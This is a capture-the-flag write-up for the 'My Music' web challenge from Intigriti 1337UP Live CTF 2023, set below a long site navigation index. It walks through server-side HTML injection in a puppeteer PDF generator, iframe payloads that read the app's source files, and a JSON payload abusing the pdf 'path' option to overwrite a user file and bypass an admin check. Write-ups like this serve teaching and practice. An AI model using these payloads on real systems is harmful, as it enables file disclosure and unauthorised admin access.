CTF Writeups
WebsiteDiscordSocials..
  • CryptoCat's CTF writeups
  • 2025
    • Tsuku
      • Web
        • len_len
        • Flash
        • YAMLwaf
    • CTF@CIT
      • Web
        • Breaking Authentication
        • Commit & Order: Version Control Unit
        • How I Parsed your JSON
        • Mr. Chatbot
        • Keeping Up with the Credentials
  • 2024
    • CryptoCat
      • Summar-AI-ze
    • Intigriti
      • Warmup
        • BabyFlow
        • In Plain Sight
        • IrrORversible
        • Layers
        • Rigged Slot Machine 1
      • Game
        • Bug Squash 1
        • Bug Squash 2
      • Rev
        • Secure Bank
      • Web
        • Biocorp
        • Cat Club
        • Pizza Paradise
        • SafeNotes 2.0
      • Misc
        • Quick Recovery
        • Triage Bot 2
      • Pwn
        • Floormat Sale
        • Retro2Win
        • Rigged Slot Machine 2
        • UAP
      • Crypto
        • Schrodinger's Pad
      • Mobile
        • Cold Storage
      • OSINT
        • No Comment
        • Trackdown
        • Trackdown 2
      • Forensics
        • CTF Mind Tricks
        • Hoarded Flag
        • Password Management
    • CSAW
      • Web
        • Playing on the Backcourts
        • Log Me In
        • Lost Pyramid
        • BucketWars
    • CyberSpace
      • Web
        • Feature Unlocked
    • UIU
      • Web
        • Fare Evasion
        • Log Action
    • Wani
      • Web
        • Bad Worker
        • PoW
        • One Day One Letter
    • Akasec
      • Web
    • HTB Cyber Apocalypse
      • Web
        • Flag Command
        • TimeKORP
        • KORP Terminal
        • Labyrinth Linguist
        • Locktalk
        • SerialFlow
        • Testimonial
  • 2023
    • Intigriti
      • Gamepwn
        • Dark Secrets
      • Misc
        • Triage Bot
      • OSINT
        • Photographs
      • Pwn
        • Floormat Store
      • Web
        • Bug Report Repo
        • My Music
    • Imaginary
      • Web
        • Blank
        • IDORiot
        • Inspection
        • Login
        • Perfect Picture
        • Roks
    • Google
      • Pwn
        • Write-Flag-Where
    • Cyber Apocalypse
      • AI
        • Last Hope
        • Mysterious Learning
      • Crypto
        • Perfect Synchronization
      • Pwn
        • Getting Started
        • Labyrinth
        • Pandora's Box
        • Void
      • Rev
        • Cave System
        • Hunting License
        • Needle in a Haystack
        • Shattered Tablet
        • She Sells Sea Shells
    • Sekai
      • Rev
        • Azusawa's Gacha World
    • Amateurs
      • Web
        • Sanity
        • Waiting an Eternity
    • NahamCon
      • Web
        • Hidden Figures
        • Marmalade 5
        • Obligatory
        • Star Wars
        • Stickers
    • Angstrom
      • Pwn
        • Leek
  • 2022
    • Imaginary (iCTF)
      • Crypto
        • ASE
      • Pwn
        • Links 1
        • Links 2
        • Links 3
        • Open Doors
    • SEETF
      • Pwn
        • 4mats
        • Easy Overflow
      • Rev
        • BabyReeee
      • Web
        • Super-Secure-Requests-Forwarder
    • HTB Cyber Apocalypse
      • Pwn
        • Hellbound
    • Angstrom
      • Pwn
        • Really Obnoxious Problem
        • Wah
        • Whats My Name
        • Where Am I
      • Web
        • Crumbs
        • Xtra Salty Sardines
    • NahamCon
      • Pwn
        • Baby Steps
      • Web
        • Flaskmetal Alchemist
        • Hacker Ts
        • Two for One
    • Pico
      • Forensics
        • Side Channel
      • Pwn
        • Buffer Overflow 1
        • Buffer Overflow 2
        • Buffer Overflow 3
        • Flag Leak
        • Function Overwrite
        • ROPfu
        • RPS
        • Stack Cache
        • Wine
        • X-Sixty-What
      • Rev
        • Wizardlike
      • Web
        • Noted
    • Space Heroes
      • Pwn
        • Vader
      • Web
        • Flag in Space
    • Intigriti
      • Pwn
        • Bird
        • Cake
        • Easy Register
        • Search Engine
    • Dice
      • Pwn
        • Interview Opportunity
  • 2021
    • Pico
      • Pwn
        • Unsubscriptions Are Free
    • Crusaders of Rust (COR)
      • Crypto
        • Fibinary
      • Pwn
        • Chainblock
    • HTB Cyber Santa
      • Crypto
        • Meet Me Halfway
        • Xmas Spirit
      • Pwn
        • Minimelfistic
        • Mr. Snowy
        • Naughty List
        • Sleigh
      • Rev
        • Infiltration
        • Intercept
    • K3rn3l
      • Crypto
        • Badseed
        • Twizzty Buzzinezz
    • HTB x Synack RedTeamFive
      • Misc
        • Context
        • Hotel
      • Pwn
        • Air Supplies
        • Injection Shot
        • Library
        • Recruitment
      • Rev
        • Knock Knock
        • Split
    • KillerQueen
      • Pwn
        • A Kind of Magic
        • Tweety Birb
        • Zoom2Win
    • HacktivityCon
      • Pwn
        • Retcheck
        • The Library
        • Yabo
      • Web
        • Availability
    • CSAW
      • Pwn
        • Alien Math
        • Password Checker
      • Rev
        • Checker
    • HackyHolidays
      • Crypto
        • Cute Invoice
        • Mineslazer
      • Forensics
        • Injection Traffic
        • Power Snacks
      • Pwn
        • Deleted Flag
        • Engine Control
      • Web
        • Skylark
    • HTB Cyber Apocalypse
      • Crypto
        • Phasestream
      • Misc
        • Alien Camp
        • Build Yourself In
      • Pwn
        • Controller
        • System Drop
      • Web
        • Blitzprop
        • E-Tree
        • Wild Goose Hunt
    • Angstrom
      • Pwn
        • Sanity Checks
        • Secure Login
        • Sticky Stacks
        • Tranquil
      • Rev
        • Free Flags
        • Jailbreak
      • Web
        • Jar
Powered by GitBook
On this page
  • Video Walkthrough
  • Description
  • Enumeration
  • Exploitation
  • Attack Plan
  1. 2023
  2. Intigriti
  3. Web

My Music

Writeup for My Music (Web) - Intigriti 1337UP Live CTF (2023) 💜

PreviousBug Report RepoNextImaginary

Last updated 4 months ago

Video Walkthrough

Description

Checkout my new platform for sharing the tunes of your life! 🎶

Enumeration

Register an account, notice we are given a login hash to save, e.g. 25d6a4cec174932f1effd56e2273be5198c3be06ddf03ab380a7ffc4cf3ef4e8.

We can generate profile card which creates a PDF but [by default] the request/response doesn't show in burp, let's make some adjustments:

  • Set burp scope to https://mymusic.ctf.intigriti.io and tick the only show in-scope items option in HTTP history tab (reduces noise, especially from spotify requests).

  • Tick images and other binary in the the filter by MIME type section of the HTTP history options (ensuring our PDF generation is shown).

We can update three sections of our profile; First name, Last name and Spotify track code. For each element we add some HTML tags, e.g. <b>crypto</b> and try to generate a new profile card. All three elements are reflected in the PDF document, but only the Spotify track code is in bold.

Now we have found HTML injection, we can try and to identify the file structure.

<script>document.body.append(location.href)</script>

Returns file:///app/tmp/3c433348-60e3-4a48-b989-2a168954147f.html

Since we confirmed the file location as /app, we can enumerate common files, either manually or by brute-forcing a .

app/app.js

<iframe src="/app/app.js" style="width: 999px; height: 999px"></iframe>

We'll quickly recover the source code for app.js.

const express = require("express");
const { engine } = require("express-handlebars");
const cookieParser = require("cookie-parser");
const { auth } = require("./middleware/auth");
const app = express();
app.engine("handlebars", engine());
app.set("view engine", "handlebars");
app.set("views", "./views");
app.use(express.json());
app.use(cookieParser());
app.use(auth);
app.use("/static", express.static("static"));
app.use("/", require("./routes/index"));
app.use("/api", require("./routes/api"));
app.listen(3000, () => {
    console.log("Listening on port 3000...");
});

This introduces some new paths to investigate (/routes/index and /routes/api) so we repeat the previous technique.

app/routes/index.js

<iframe src="/app/routes/index.js" style="width: 999px; height: 999px"></iframe>

index.js confirms our target is the /admin endpoint. Currently, when we try to access the page we get Only admins can view this page.

const express = require("express");
const { requireAuth } = require("../middleware/auth");
const { isAdmin } = require("../middleware/check_admin");
const { getRandomRecommendation } = require("../utils/recommendedSongs");
const { generatePDF } = require("../utils/generateProfileCard");
const router = express.Router();
router.get("/", (req, res) => {
    const spotifyTrackCode = getRandomRecommendation();
    res.render("home", { userData: req.userData, spotifyTrackCode });
});
router.get("/register", (req, res) => {
    res.render("register", { userData: req.userData });
});
router.get("/login", (req, res) => {
    if (req.loginHash) {
        res.redirect("/profile");
    }
    res.render("login", { userData: req.userData });
});
router.get("/logout", (req, res) => {
    res.clearCookie("login_hash");
    res.redirect("/");
});
router.get("/profile", requireAuth, (req, res) => {
    res.render("profile", { userData: req.userData, loginHash: req.loginHash });
});
router.post("/profile/generate-profile-card", requireAuth, async (req, res) => {
    const pdf = await generatePDF(req.userData, req.body.userOptions);
    res.contentType("application/pdf");
    res.send(pdf);
});
router.get("/admin", isAdmin, (req, res) => {
    res.render("admin", { flag: process.env.FLAG || "CTF{DUMMY}" });
});
module.exports = router;

It also revealed some new paths (/middleware/auth, /middleware/check_admin, /utils/recommendedSongs and /utils/generateProfileCard), which we'll return to shortly.

app/routes/api.js

<iframe src="/app/routes/api.js" style="width: 999px; height: 999px"></iframe>

api.js deals with the register/login/update functionality, nothing particularly interesting.

const express = require("express");
const { body, cookie } = require("express-validator");
const {
    addUser,
    getUserData,
    updateUserData,
    authenticateAsUser,
} = require("../controllers/user");
const router = express.Router();
router.post(
    "/register",
    body("username").not().isEmpty().withMessage("Username cannot be empty"),
    body("firstName").not().isEmpty().withMessage("First name cannot be empty"),
    body("lastName").not().isEmpty().withMessage("Last name cannot be empty"),
    addUser
);
router.post(
    "/login",
    body("loginHash").not().isEmpty().withMessage("Login hash cannot be empty"),
    authenticateAsUser
);
router
    .get("/user", getUserData)
    .put(
        "/user",
        body("firstName")
            .not()
            .isEmpty()
            .withMessage("First name cannot be empty"),
        body("lastName")
            .not()
            .isEmpty()
            .withMessage("Last name cannot be empty"),
        body("spotifyTrackCode")
            .not()
            .isEmpty()
            .withMessage("Spotify track code cannot be empty"),
        cookie("login_hash").not().isEmpty().withMessage("Login hash required"),
        updateUserData
    );
module.exports = router;

However, it does give us a new file to check out (/controllers/user).

app/controllers/user.js

<iframe
    src="/app/controllers/user.js"
    style="width: 999px; height: 999px"
></iframe>

This file is responsible for adding, updating and verifying users.

const {
    createUser,
    getUser,
    setUserData,
    userExists,
} = require("../services/user");
const { validationResult } = require("express-validator");
const addUser = (req, res, next) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).send(errors.array());
    }
    const { username, firstName, lastName } = req.body;
    const userData = {
        username,
        firstName,
        lastName,
    };
    try {
        const loginHash = createUser(userData);
        res.status(204);
        res.cookie("login_hash", loginHash, { secure: false, httpOnly: true });
        res.send();
    } catch (e) {
        console.log(e);
        res.status(500);
        res.send("Error creating user!");
    }
};
const getUserData = (req, res, next) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).send(errors.array());
    }
    const { loginHash } = req.body;
    try {
        const userData = getUser(loginHash);
        res.send(JSON.parse(userData));
    } catch (e) {
        console.log(e);
        res.status(500);
        res.send("Error fetching user!");
    }
};
const updateUserData = (req, res, next) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).send(errors.array());
    }
    const { firstName, lastName, spotifyTrackCode } = req.body;
    const userData = {
        username: req.userData.username,
        firstName,
        lastName,
        spotifyTrackCode,
    };
    try {
        setUserData(req.loginHash, userData);
        res.send();
    } catch (e) {
        console.log(e);
    }
};

We find a /services/user endpoint, which might be interesting since the getUser(loginHash) function is imported from there.

app/controllers/user.js

<iframe
    src="/app/services/user.js"
    style="width: 999px; height: 999px"
></iframe>

Now we learn more about how users are stored!

const fs = require("fs");
const path = require("path");
const { createHash } = require("crypto");
const { v4: uuidv4 } = require("uuid");
const dataDir = "./data";
const createUser = (userData) => {
    const loginHash = createHash("sha256").update(uuidv4()).digest("hex");
    fs.writeFileSync(
        path.join(dataDir, `${loginHash}.json`),
        JSON.stringify(userData)
    );
    return loginHash;
};
const setUserData = (loginHash, userData) => {
    if (!userExists(loginHash)) {
        throw "Invalid login hash";
    }
    fs.writeFileSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`),
        JSON.stringify(userData)
    );
    return userData;
};
const getUser = (loginHash) => {
    let userData = fs.readFileSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`),
        {
            encoding: "utf8",
        }
    );
    return userData;
};
const userExists = (loginHash) => {
    return fs.existsSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`)
    );
};
module.exports = { createUser, getUser, setUserData, userExists };

First of all we see the ./data folder, useful knowledge as we already have a method of reading (maybe writing) files.

Secondly, we discover how user files are formatted.

const loginHash = createHash("sha256").update(uuidv4()).digest("hex");
fs.writeFileSync(
    path.join(dataDir, `${loginHash}.json`),
    JSON.stringify(userData)
);

Since our login hash is displayed on the page, we know exactly where our user object is located.

/app/data/25d6a4cec174932f1effd56e2273be5198c3be06ddf03ab380a7ffc4cf3ef4e8.json

app/middleware/check_admin.js

Returning back to the four new endpoints we found in app/routes/index.js. The most interesting is likely to be check_admin.js. Why is this most interesting to us? Because we want to be admin, of course!

<iframe
    src="/app/middleware/check_admin.js"
    style="width: 999px; height: 999px"
></iframe>
const { getUser, userExists } = require("../services/user");
const isAdmin = (req, res, next) => {
    let loginHash = req.cookies["login_hash"];
    let userData;
    if (loginHash && userExists(loginHash)) {
        userData = getUser(loginHash);
    } else {
        return res.redirect("/login");
    }
    try {
        userData = JSON.parse(userData);
        if (userData.isAdmin !== true) {
            res.status(403);
            res.send("Only admins can view this page");
            return;
        }
    } catch (e) {
        console.log(e);
    }
    next();
};
module.exports = { isAdmin };

OK, so the userData JSON object will be parsed, and if the isAdmin property isn't true, we won't be granted access.

At this point we might think about how we could inject isAdmin: true into our user object 🤔

Another question we may consider; what happens if the JSON object cannot be parsed? 👀

Let's revisit the code from /app/routes/index.js. Specifically, the generate-profile-card POST request.

router.post("/profile/generate-profile-card", requireAuth, async (req, res) => {
    const pdf = await generatePDF(req.userData, req.body.userOptions);
    res.contentType("application/pdf");
    res.send(pdf);
});

We already knew that our userData would be inserted to the PDF (that's how we were able to inject code), but what's this userOptions parameter? Let's go find out!

app/utils/generateProfileCard.js

<iframe
    src="/app/utils/generateProfileCard.js"
    style="width: 999px; height: 999px"
></iframe>

We found this endpoint earlier when checking /app/routes/index.js.

const puppeteer = require("puppeteer");
const fs = require("fs");
const path = require("path");
const { v4: uuidv4 } = require("uuid");
const Handlebars = require("handlebars");
const generatePDF = async (userData, userOptions) => {
    let templateData = fs.readFileSync(
        path.join(__dirname, "../views/print_profile.handlebars"),
        {
            encoding: "utf8",
        }
    );
    const template = Handlebars.compile(templateData);
    const html = template({ userData: userData });
    const filePath = path.join(__dirname, `../tmp/${uuidv4()}.html`);
    fs.writeFileSync(filePath, html);
    const browser = await puppeteer.launch({
        executablePath: "/usr/bin/google-chrome",
        args: ["--no-sandbox"],
    });
    const page = await browser.newPage();
    await page.goto(`file://${filePath}`, { waitUntil: "networkidle0" });
    await page.emulateMediaType("screen");
    let options = {
        format: "A5",
    };
    if (userOptions) {
        options = { ...options, ...userOptions };
    }
    const pdf = await page.pdf(options);
    await browser.close();
    fs.unlinkSync(filePath);
    return pdf;
};
module.exports = { generatePDF };

This part is notable; our userOptions are passed as options to the pdf function in puppeteer.

if (userOptions) {
    options = { ...options, ...userOptions };
}
const pdf = await page.pdf(options);
Property
Modifiers
Type
Description
Default

path

optional

string

The path to save the file to

undefined, which means the PDF will not be written to disk

Exploitation

OK, enough with the recon. exploit time!

  • When we try to access the /admin endpoint, it will parse our userData JSON object and return a 403 error if it does not contain isAdmin: true.

  • However, if the JSON object cannot be parsed (as hinted earlier), then the code following the if statement (that returns a 403 response) will not be reached.

  • Does this mean we won't be rejected from viewing the admin page? Let's find out!

Attack Plan

  1. We know we can control the userOptions which is passed to the puppeteer pdf function.

  2. We identified the path property that allows us to control the location where the generated PDF will be stored.

  3. We found that user objects are stored in /app/data/<login_hash>.json

Putting all this together, we create a payload that will overwrite our user object with a generated PDF.

{
    "userOptions": {
        "path": "/app/data/25d6a4cec174932f1effd56e2273be5198c3be06ddf03ab380a7ffc4cf3ef4e8.json"
    }
}

We send this payload in the POST request used to generate a PDF (make sure to set content-type to application/json). When we login with the hash and return to /admin, we get the flag.

Flag:INTIGRITI{0verr1d1ng_4nd_n0_r3turn_w4s_n3ed3d_for_th15_fl4g_to_b3_e4rn3d}

Note: I used this technique to overwrite our existing user object with a PDF (invalid JSON), but you could pick a filename of your choice, e.g.

{
    "userOptions": {
        "path": "/app/data/cat.json"
    }
}

Then just login with the hash cat and visit the admin page to receive the flag 😊

Time to 🤷‍♂️

RTFM
server-side XSS
wordlist